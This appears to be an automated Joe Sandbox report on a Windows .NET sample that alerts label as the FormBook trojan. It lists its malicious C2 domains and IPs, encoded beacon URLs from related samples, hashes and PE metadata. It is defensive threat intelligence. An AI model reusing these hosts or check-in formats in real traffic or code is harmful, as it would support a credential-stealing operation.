https://stackpath.bootstrapcdn.com/bootstrap/4.5.0/css/bootstrap.min.css	457b22da_by_Libranalysis.exe, 00000000.00000002.237432147.00000000027E3000.00000004.00000001.sdmp	false		high
http://www.carterandcone.coml	explorer.exe, 00000005.00000000.259560137.0000000008B46000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.sajatypeworks.com	explorer.exe, 00000005.00000000.259560137.0000000008B46000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.typography.netD	explorer.exe, 00000005.00000000.259560137.0000000008B46000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.fontbureau.com/designers/cabarga.htmlN	explorer.exe, 00000005.00000000.259560137.0000000008B46000.00000002.00000001.sdmp	false		high
http://www.founder.com.cn/cn/cThe	explorer.exe, 00000005.00000000.259560137.0000000008B46000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.galapagosdesign.com/staff/dennis.htm	explorer.exe, 00000005.00000000.259560137.0000000008B46000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://fontfabrik.com	explorer.exe, 00000005.00000000.259560137.0000000008B46000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.founder.com.cn/cn	explorer.exe, 00000005.00000000.259560137.0000000008B46000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.fontbureau.com/designers/frere-jones.html	explorer.exe, 00000005.00000000.259560137.0000000008B46000.00000002.00000001.sdmp	false		high
http://checkip.dyndns.org/	457b22da_by_Libranalysis.exe, 00000000.00000002.237290926.0000000002791000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&hosted_button_id=CJU3DBQXBUQPC	457b22da_by_Libranalysis.exe, 00000000.00000002.237290926.0000000002791000.00000004.00000001.sdmp	false		high
http://www.jiyu-kobo.co.jp/	explorer.exe, 00000005.00000000.259560137.0000000008B46000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://servermanager.miixit.org/index_ru.html	457b22da_by_Libranalysis.exe, 00000000.00000002.237290926.0000000002791000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.galapagosdesign.com/DPlease	explorer.exe, 00000005.00000000.259560137.0000000008B46000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://servermanager.miixit.org/report/reporter_index.php?name=	457b22da_by_Libranalysis.exe, 00000000.00000002.237290926.0000000002791000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.fontbureau.com/designers8	explorer.exe, 00000005.00000000.259560137.0000000008B46000.00000002.00000001.sdmp	false		high
http://servermanager.miixit.org/1	457b22da_by_Libranalysis.exe, 00000000.00000002.237290926.0000000002791000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.fonts.com	explorer.exe, 00000005.00000000.259560137.0000000008B46000.00000002.00000001.sdmp	false		high
http://www.sandoll.co.kr	explorer.exe, 00000005.00000000.259560137.0000000008B46000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.urwpp.deDPlease	explorer.exe, 00000005.00000000.259560137.0000000008B46000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.zhongyicts.com.cn	explorer.exe, 00000005.00000000.259560137.0000000008B46000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	457b22da_by_Libranalysis.exe, 00000000.00000002.237290926.0000000002791000.00000004.00000001.sdmp	false		high
http://www.sakkal.com	explorer.exe, 00000005.00000000.259560137.0000000008B46000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://vm.tiktok.com/ZMJE3suep/a8si?NZb=jdN	rundll32.exe, 00000009.00000002.486836362.0000000004FD2000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&hosted_button_id=CJU3DBQXBUQPC5http://servermana	457b22da_by_Libranalysis.exe, 00000000.00000002.237290926.0000000002791000.00000004.00000001.sdmp	false		high
http://servermanager.miixit.org/downloads/	457b22da_by_Libranalysis.exe, 00000000.00000002.237290926.0000000002791000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://servermanager.miixit.org/hits/hit_index.php?k=	457b22da_by_Libranalysis.exe, 00000000.00000002.237290926.0000000002791000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	ASN	ASN Name	Malicious
52.128.23.153	www.skynetaccess.com	United States	19324	DOSARRESTUS	true
192.232.222.43	rogegalmish.com	United States	46606	UNIFIEDLAYER-AS-1US	true
202.210.8.86	www.thepocket-onlinelesson.xyz	Japan	2519	VECTANTARTERIANetworksCorporationJP	true
64.98.145.30	www.omfgphil.com	Canada	32491	TUCOWS-3CA	true
156.252.96.189	www.best-cleaner.com	Seychelles	132839	POWERLINE-AS-APPOWERLINEDATACENTERHK	true
34.95.69.141	www.shirleyeluiz.com	United States	15169	GOOGLEUS	false
81.169.145.162	drisu-goalkeeping.com	Germany	6724	STRATOSTRATOAGDE	true
184.168.131.241	4520oceanviewavenue.com	United States	26496	AS-26496-GO-DADDY-COM-LLCUS	true

General Information

Joe Sandbox Version:	32.0.0 Black Diamond
Analysis ID:	412121
Start date:	12.05.2021
Start time:	12:23:27
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 10m 39s
Hypervisor based Inspection enabled:	false
Report type:	light
Sample file name:	457b22da_by_Libranalysis (renamed file extension from none to exe)
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	29
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	1
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@7/1@12/8
EGA Information:	Failed
HDC Information:	Successful, ratio: 10.6% (good quality ratio 9.1%) Quality average: 70.1% Quality standard deviation: 34.3%
HCA Information:	Successful, ratio: 96% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Adjust boot time Enable AMSI
Warnings:	Show All Exclude process from analysis (whitelisted): taskhostw.exe, MpCmdRun.exe, BackgroundTransferHost.exe, backgroundTaskHost.exe, SgrmBroker.exe, conhost.exe, svchost.exe, UsoClient.exe TCP Packets have been reduced to 100 Excluded IPs from analysis (whitelisted): 13.64.90.137, 40.88.32.150, 92.122.145.220, 52.255.188.83, 184.30.20.56, 20.82.209.183, 2.20.142.209, 2.20.143.16, 92.122.213.247, 92.122.213.194, 20.54.26.129, 20.50.102.62 Excluded domains from analysis (whitelisted): au.download.windowsupdate.com.edgesuite.net, store-images.s-microsoft.com-c.edgekey.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, a1449.dscg2.akamai.net, arc.msn.com, skypedataprdcoleus15.cloudapp.net, e12564.dspb.akamaiedge.net, audownload.windowsupdate.nsatc.net, arc.trafficmanager.net, watson.telemetry.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, prod.fs.microsoft.com.akadns.net, au-bg-shim.trafficmanager.net, skypedataprdcolwus17.cloudapp.net, iris-de-prod-azsc-neu.northeurope.cloudapp.azure.com, fs.microsoft.com, ris-prod.trafficmanager.net, e1723.g.akamaiedge.net, ctldl.windowsupdate.com, a767.dscg3.akamai.net, iris-de-prod-azsc-uks.uksouth.cloudapp.azure.com, ris.api.iris.microsoft.com, skypedataprdcoleus17.cloudapp.net, store-images.s-microsoft.com, blobcollector.events.data.trafficmanager.net Report size getting too big, too many NtAllocateVirtualMemory calls found. VT rate limit hit for: /opt/package/joesandbox/database/analysis/412121/sample/457b22da_by_Libranalysis.exe

Simulations

Behavior and APIs

Time	Type	Description
12:24:27	API Interceptor	1x Sleep call for process: 457b22da_by_Libranalysis.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
52.128.23.153	in.exe	Get hash	malicious	Browse	www.industry-automation.com/sjgd/?F6AD0t=4C9RsP0MiMfd5x3EqIWPb8N3LXE5yuIemyiinJZA7tg31FsRjvPmvbnKjZ2+rb6qC4SN&w67=DhrxPvQ0jlAtfdH0
	REQUEST FOR NEW ORDER AND SPECIFICATIONS.exe	Get hash	malicious	Browse	www.ferienschweden.com/dxe/?rL=s6Sqq23Nqxy6Bqc8f3MZosvGevB33GzO29fOayP/lE01Eq/eDpu6VUP0sUjGcOqZY2dQdVIRww==&2dqLWB=RXBtNzex
	krJF4BtzSv.exe	Get hash	malicious	Browse	www.onlineregular.com/oerg/?YL0=8pN4l4&r6A=k0e2T7kvJRK3PRo8y62ai84DWcjvpnsau5YF2j19mIw29CJGigOXt8G+epDiy588L3Hg
	PO_29_00412.exe	Get hash	malicious	Browse	www.neutrasystems.com/hw6d/?rVEt3p=S0D0v04&SPx=eQ0CjYjVQ3ZWFLT9z9t5AWcWjesy46k9o3/PiW4fNWDoBcoO4PdNNvWWcYkTRslbbC22qjAVDA==
	DHL_S390201.exe	Get hash	malicious	Browse	www.tenply.com/u2gd/?IDKPY0x=oAZBYkqsTuez1a9u+6lVnWcl/HQJuhuD2QvfP8fo+EoX0nK3YZBMl6AGY1vurgdkUfL4&Rnm=XPc43lnxP
	y6f8O0kbEB.exe	Get hash	malicious	Browse	www.clipsq.com/oerg/?mHLD_0=ujOXmawhwZWKFGghDr7+X4b1OYMZgrDZqeyOmZXhZPmqT7kE0LgD8cS3WUAvTIFghox1&ndndnZ=UtWlYrO0rhjH
	scan copy 2402021.exe	Get hash	malicious	Browse	www.ehealthak.com/edbs/?pPX=pO0puah+4fLWu/gaJSPwUdJ/22y0P48FdV7vJ0SmK5Njq7Vx485zU7W8W0MYJNonfaHF&1bj=jlK0MdGxr
	Betaling_advies.exe	Get hash	malicious	Browse	www.neutrasystems.com/hw6d/?DnbLu=eQ0CjYjVQ3ZWFLT9z9t5AWcWjesy46k9o3/PiW4fNWDoBcoO4PdNNvWWcbIpStJgY1Xn&EzuxZl=3fX4qpLxXJu
	MACHINE SPECIFICATION.exe	Get hash	malicious	Browse	www.whowealth.com/rrrq/?uDKlwt=XPiPwvlxrzD&0R-LTpD=YmZwcUxE7GKVff8FJDH+eqcbRpVkp9zoSlnpbKTKbaZlz6lL5nVCSfktGblUcnh8IKwh
	50729032021.xlsx	Get hash	malicious	Browse	www.aideliveryrobot.com/p2io/?LPRtv=xikLqsOKlSWJt+SrZg8c4HdBraEMa/77ZWZXTseglAkSxnPi++5EYIqDKkXYJ2G/5JhnXw==&SH=yzu8bdqp
	MACHINE SPECIFICATIONS.exe	Get hash	malicious	Browse	www.whowealth.com/rrrq/?ATxdA4s=YmZwcUxE7GKVff8FJDH+eqcbRpVkp9zoSlnpbKTKbaZlz6lL5nVCSfktGYJufmNHL9RwStorzg==&4hO=uDHPhJIxONuPbDb
	Shipping Documents C1216.exe	Get hash	malicious	Browse	www.toosol.com/fhg5/?idFt5Lt8=Ml/ZzGIGF1FkdUWKp7YfLz5Vhr4JtQgw1RbjRUSw4ruSIMcEU2Te3R8sgnifklbnOlMaPd/2KQ==&TZ=EjUt0xR
	9V3LjvhSMb.exe	Get hash	malicious	Browse	www.digitalkn.com/jzvu/?p0D=mfTHKdP8fLydF&jL04ln=cEqLwIJ+aRwkZKINSQ3QvunM083gkoJjrLpUcp3aBa64+rAHYbkeaE3nOi790R8PidGw
	RDAW-180-47D.exe	Get hash	malicious	Browse	www.oleandrindrugs.com/fhg5/?k2Jdl2Q=OaXU6X18MvJ5q1qcJjJuK08JGFlriH0N3sFKML6er8coazWxslMzDpjffI6ofnfbT4O7&OZiLRb=AnG0VF1hLTBpLbaP
	gV8xdP8bas.exe	Get hash	malicious	Browse	www.wellnesssensation.com/bw82/?KX9ps=455EGVYP5nwn6UKaNruX/4AMFbR5eugGoFi+RSiFi9xq+Sc4S/7LJuL4z/DBianrCvuj&t6Ah=oBZx1ZuH5L
	m5bCbJdk7l.exe	Get hash	malicious	Browse	www.wellnesssensation.com/bw82/?9r=Cxl0GPu0O4YH8&lL08q=455EGVYP5nwn6UKaNruX/4AMFbR5eugGoFi+RSiFi9xq+Sc4S/7LJuL4z8vR+r7QFaHyR2mgcw==
	xloa.exe	Get hash	malicious	Browse	www.wellnesssensation.com/bw82/?cjlti=VTjl4FmxEtYHGD&FdR0zJRX=455EGVYP5nwn6UKaNruX/4AMFbR5eugGoFi+RSiFi9xq+Sc4S/7LJuL4z/DBianrCvuj
	rbyB1UHXxR.exe	Get hash	malicious	Browse	www.wellnesssensation.com/bw82/?jL34YR=455EGVYP5nwn6UKaNruX/4AMFbR5eugGoFi+RSiFi9xq+Sc4S/7LJuL4z/Dr9qXrGtmj&w0=mfJDabjXTrYll
	4137.exe	Get hash	malicious	Browse	www.bsf.xyz/krc/?XPGx_BL8=oSG3T25g44YEqdHLNcXBvI98o2n2iP7ZIEUUkJplaCBty9zlxmxYbQ+JtR5ITo/P6k1v&5jrH=7n6ti6PHWBWtUvjp
	COAU7229898130.xlsx	Get hash	malicious	Browse	www.digitalkn.com/jzvu/?lf=cEqLwIJ7aWwgZaEBQQ3QvunM083gkoJjrLxEAqrbF665+asBfL1SMAPlNHXrwB48pebAWQ==&JreT=PJE0oxE
202.210.8.86	1c60a1e9_by_Libranalysis.rtf	Get hash	malicious	Browse	www.thepocket-onlinelesson.xyz/a8si/?bzrD=AKlWb4F2uLtjtixCEtxovY3lKx8NV8ATEUdUvfUwC6/Iyc/MbMvmSS41f7GTUiSOdXxAeQ==&yxl4A=IJB8SptPOV

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
www.thepocket-onlinelesson.xyz	1c60a1e9_by_Libranalysis.rtf	Get hash	malicious	Browse	202.210.8.86

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
UNIFIEDLAYER-AS-1US	abc8a77f_by_Libranalysis.xlsx	Get hash	malicious	Browse	67.20.76.71
	Revised Invoice pdf.exe	Get hash	malicious	Browse	192.185.171.219
	DINTEC HCU24021ED.exe	Get hash	malicious	Browse	162.241.169.22
	dd9097e7_by_Libranalysis.exe	Get hash	malicious	Browse	192.185.171.219
	RFQ.exe	Get hash	malicious	Browse	192.185.129.32
	Order 122001-220 guanzo.exe	Get hash	malicious	Browse	162.241.62.63
	in.exe	Get hash	malicious	Browse	162.241.244.112
	PO-002755809-NO#PRT101 Order pdf.exe	Get hash	malicious	Browse	162.144.13.239
	catalog-1908475637.xls	Get hash	malicious	Browse	108.167.180.164
	catalog-1908475637.xls	Get hash	malicious	Browse	108.167.180.164
	export of purchase order 7484876.xlsm	Get hash	malicious	Browse	108.179.232.90
	XM7eDjwHqp.xlsm	Get hash	malicious	Browse	162.241.190.216
	QTFsui5pLN.xlsm	Get hash	malicious	Browse	108.179.232.90
	15j1TCnOiA.xlsm	Get hash	malicious	Browse	192.185.115.105
	e8eRhf3GM0.xlsm	Get hash	malicious	Browse	162.241.190.216
	SOA PDF.exe	Get hash	malicious	Browse	192.185.226.148
	djBLaxEojp.exe	Get hash	malicious	Browse	192.185.161.67
	quotation 35420PDF.exe	Get hash	malicious	Browse	192.185.41.225
	REQUEST FOR PRICE QUOTE - URGENT.pdf.exe	Get hash	malicious	Browse	162.241.24.59
	551f47ac_by_Libranalysis.xlsm	Get hash	malicious	Browse	192.185.138.180
VECTANTARTERIANetworksCorporationJP	1c60a1e9_by_Libranalysis.rtf	Get hash	malicious	Browse	202.210.8.86
	Purchase Inquiry 11.05.2021.exe	Get hash	malicious	Browse	202.210.8.60
	0876543123.exe	Get hash	malicious	Browse	202.210.8.120
	Project Decision 2021.exe	Get hash	malicious	Browse	183.181.86.59
	S4gONKzrzB.exe	Get hash	malicious	Browse	210.131.150.117
	PAGO 50,867.00 USD (ANTICIPO) 23042021 DOC-20204207MT-1.exe	Get hash	malicious	Browse	202.210.8.149
	VIKRAMQST21-222.exe	Get hash	malicious	Browse	202.210.8.149
	MGuvcs6Ocz	Get hash	malicious	Browse	157.14.182.109
	SWIFT COPY.exe	Get hash	malicious	Browse	103.141.96.11
	9JFrEPf5w7.exe	Get hash	malicious	Browse	103.15.186.68
	Purchase Order.xlsx	Get hash	malicious	Browse	103.15.186.68
	PO91361.exe	Get hash	malicious	Browse	103.15.186.10
	ccavero@hycite.com.htm	Get hash	malicious	Browse	203.114.55.132
	MV Sky Marine.xlsx	Get hash	malicious	Browse	202.210.8.141
	SWIFT COPY_PDF.exe	Get hash	malicious	Browse	202.210.8.141
	MV9tCJw8Xr.exe	Get hash	malicious	Browse	120.51.34.254
	SHED.EXE	Get hash	malicious	Browse	103.141.96.21
	swift copy pdf.exe	Get hash	malicious	Browse	183.181.84.122
	shipping docs of MT20410.exe	Get hash	malicious	Browse	183.181.84.122
	PO#4503527426.xlsx	Get hash	malicious	Browse	43.249.241.188
DOSARRESTUS	in.exe	Get hash	malicious	Browse	52.128.23.153
	REQUEST FOR NEW ORDER AND SPECIFICATIONS.exe	Get hash	malicious	Browse	52.128.23.153
	krJF4BtzSv.exe	Get hash	malicious	Browse	52.128.23.153
	PO_29_00412.exe	Get hash	malicious	Browse	52.128.23.153
	DHL_S390201.exe	Get hash	malicious	Browse	52.128.23.153
	y6f8O0kbEB.exe	Get hash	malicious	Browse	52.128.23.153
	scan copy 2402021.exe	Get hash	malicious	Browse	52.128.23.153
	Betaling_advies.exe	Get hash	malicious	Browse	52.128.23.153
	Order.exe	Get hash	malicious	Browse	52.128.23.218
	MACHINE SPECIFICATION.exe	Get hash	malicious	Browse	52.128.23.153
	bank details.exe	Get hash	malicious	Browse	52.128.23.218
	50729032021.xlsx	Get hash	malicious	Browse	52.128.23.153
	MACHINE SPECIFICATIONS.exe	Get hash	malicious	Browse	52.128.23.153
	Shipping Documents C1216.exe	Get hash	malicious	Browse	52.128.23.153
	9V3LjvhSMb.exe	Get hash	malicious	Browse	52.128.23.153
	RDAW-180-47D.exe	Get hash	malicious	Browse	52.128.23.153
	gV8xdP8bas.exe	Get hash	malicious	Browse	52.128.23.153
	m5bCbJdk7l.exe	Get hash	malicious	Browse	52.128.23.153
	xloa.exe	Get hash	malicious	Browse	52.128.23.153
	rbyB1UHXxR.exe	Get hash	malicious	Browse	52.128.23.153

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\457b22da_by_Libranalysis.exe.log Download File
Process:	C:\Users\user\Desktop\457b22da_by_Libranalysis.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1314
Entropy (8bit):	5.350128552078965
Encrypted:	false
SSDEEP:	24:ML9E4Ks2f84jE4Kx1qE4qXKDE4KhK3VZ9pKhPKIE4oKFKHKoZAE4Kzr7FE4sAmEw:MxHKXfvjHKx1qHiYHKhQnoPtHoxHhAHR
MD5:	8198C64CE0786EABD4C792E7E6FC30E5
SHA1:	71E1676126F4616B18C751A0A775B2D64944A15A
SHA-256:	C58018934011086A883D1D56B21F6C1916B1CD83206ADD1865C9BDD29DADCBC4
SHA-512:	EE293C0F88A12AB10041F66DDFAE89BC11AB3B3AAD8604F1A418ABE43DF0980245C3B7F8FEB709AEE8E9474841A280E073EC063045EA39948E853AA6B4EC0FB0
Malicious:	true
Reputation:	moderate, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..2,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\8d67d92724ba494b6c7fd089d6f25b48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.70861569543812
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 50.01% Win32 Executable (generic) a (10002005/4) 49.96% Win16/32 Executable Delphi generic (2074/23) 0.01% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	457b22da_by_Libranalysis.exe
File size:	973824
MD5:	457b22da77d4db093a31dd80a4b8963f
SHA1:	83dc32633108d309f6b6b50a42dc102e7375f54c
SHA256:	8dc4c1a88f19df4a3731991e632688147b6132bcb6cffa2dfbef8ee081c6ddae
SHA512:	988bc10454baea85766b9af43d51073a155b17c63525795b55984e362b81e2e11717b947ce11c05d010682f8b92f5c73cc3918401b23cbaa44bfe976dec6d45e
SSDEEP:	24576:0Fu7fEF8VAJUFZ+MEEcg1B3DBp3LQySL683Olkck:oKeco9gXdBs681c
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...T..`..............P.............. ....... ....@.. .......................@............@................................

File Icon


Icon Hash:	c4b2f0f0f0f0b2c4

Static PE Info

General
Entrypoint:	0x4f200a
Entrypoint Section:
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE
DLL Characteristics:	NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0x609B8954 [Wed May 12 07:52:52 2021 UTC]
TLS Callbacks:
CLR (.Net) Version:	v4.0.30319
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [004F2000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xb887c	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xc4000	0x2b910	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xf0000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0xf2000	0x8
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0xb8000	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
U#j;F_`	0x2000	0xb5830	0xb5a00	False	1.00031723159	data	7.99977911602	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.text	0xb8000	0xbe88	0xc000	False	0.443664550781	data	5.98775061458	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.rsrc	0xc4000	0x2b910	0x2ba00	False	0.166323424069	data	4.59329432672	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xf0000	0xc	0x200	False	0.044921875	data	0.0980041756627	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
	0xf2000	0x10	0x200	False	0.044921875	data	0.142635768149	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type
RT_ICON	0xc42e0	0x2f94	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced
RT_ICON	0xc7274	0x10828	dBase III DBT, version number 0, next free block index 40
RT_ICON	0xd7a9c	0x94a8	data
RT_ICON	0xe0f44	0x5488	data
RT_ICON	0xe63cc	0x4228	dBase IV DBT of \200.DBF, blocks size 0, block length 16896, next free block index 40, next free block 57599, next used block 4278648832
RT_ICON	0xea5f4	0x25a8	dBase IV DBT of `.DBF, block length 9216, next free block index 40, next free block 0, next used block 0
RT_ICON	0xecb9c	0x10a8	dBase IV DBT of @.DBF, block length 4096, next free block index 40, next free block 0, next used block 0
RT_ICON	0xedc44	0x988	data
RT_ICON	0xee5cc	0x468	GLS_BINARY_LSB_FIRST
RT_GROUP_ICON	0xeea34	0x84	data
RT_GROUP_ICON	0xeeab8	0x14	data
RT_VERSION	0xeeacc	0x3dc	data
RT_MANIFEST	0xeeea8	0xa65	XML 1.0 document, UTF-8 Unicode (with BOM) text, with CRLF line terminators

Imports

DLL	Import
mscoree.dll	_CorExeMain

Version Infos

Description	Data
Translation	0x0000 0x04b0
LegalCopyright	Copyright 2013
Assembly Version	3.0.0.0
InternalName	DynamicPartitionEnumeratorForIndexRangeAbstract.exe
FileVersion	3.0.0.0
CompanyName
LegalTrademarks
Comments
ProductName	ServerManager_Core
ProductVersion	3.0.0.0
FileDescription	ServerManager_Core
OriginalFilename	DynamicPartitionEnumeratorForIndexRangeAbstract.exe

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
05/12/21-12:25:36.062502	TCP	2031453	ET TROJAN FormBook CnC Checkin (GET)	49731	80	192.168.2.3	34.95.69.141
05/12/21-12:25:36.062502	TCP	2031449	ET TROJAN FormBook CnC Checkin (GET)	49731	80	192.168.2.3	34.95.69.141
